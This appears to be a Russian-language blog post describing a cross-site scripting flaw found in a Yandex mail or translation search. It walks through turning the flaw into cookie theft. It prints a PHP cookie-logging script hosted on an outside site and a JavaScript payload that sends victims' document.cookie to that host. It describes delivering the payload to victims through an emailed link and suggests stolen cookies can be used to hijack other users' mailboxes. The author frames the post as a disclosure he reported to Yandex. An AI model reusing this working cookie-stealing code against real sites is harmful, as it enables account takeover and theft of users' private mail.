В один из таких дней проверяя свежую почту на yandex.ru мне нужно было перевести текс. Изредка я пользовался этим переводчиком. Ну, а так как я в последние пару дней вставлял свой «алерт» практически везде куда только можно было, и тут мне пришла в голову идея вставить ссылку со скриптом. Набрал код своего скрипта и нажал Enter. Каково же было мое удивление, когда на экране я увидел до боли знакомое сообщение…



Итак, скрипт срабатывает, а значит, есть уязвимость. Следовательно, можно попробовать запустить какой-нибудь другой скрипт. Например, скрипт, который передает cookies другого пользователя нам. Чтобы скрипт сработал, нужно заставить пользователя выполнить наш скрипт. Сделать это можно отослав ему письмо с соответствующей ссылкой, после нажатия, на которую произойдет поиск по почтовому ящику и выполнится нужный нам код.

Был написан скрипт sniff.php и залит на сторонний хостинг. Код сниффера такой:

<?php
if (isset($_GET['cookie']))
{
$text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS \of F Y h:i:s A');
$text .= "\n".str_repeat("=", 22) . "\n" . $_GET['cookie']."\n".str_repeat("=", 22)."\n";
$file = fopen("sniff.txt", "a");
fwrite($file, $text);
fclose($file);
}
?>


Так же вместо «алерта» нужен скрипт, который будет передавать cookies нашему снифферу. Этот скрипт напишем в отдельном файле и будем его подгружать в наш поиск. Создал файл test.js с нужным кодом и залил на хостинг. Код скрипта такой:

img=new Image();
img.src='http://pentestit.url.ph/sniff.php?cookie='+document.cookie;
function F() {
location='http://pentestit.url.ph/';
}
setTimeout(F, 5000);


Все как говорится сработало. Было сказано в службу поддержке yandex но там отнеслись к данной уязвимости так себе или вообще ни как, сказали что это ни на что не влияет. Был до ужаса удивлен.Так как целью моей не является кража чужих ящиков или получения доступа к ним, на этом повествование закончу. Но теоретически можно подменить свои cookies на чужие и получить доступ к чужому почтовому ящику. В общем если злоумышленник загорится целью, то он найдет применение полученной информации.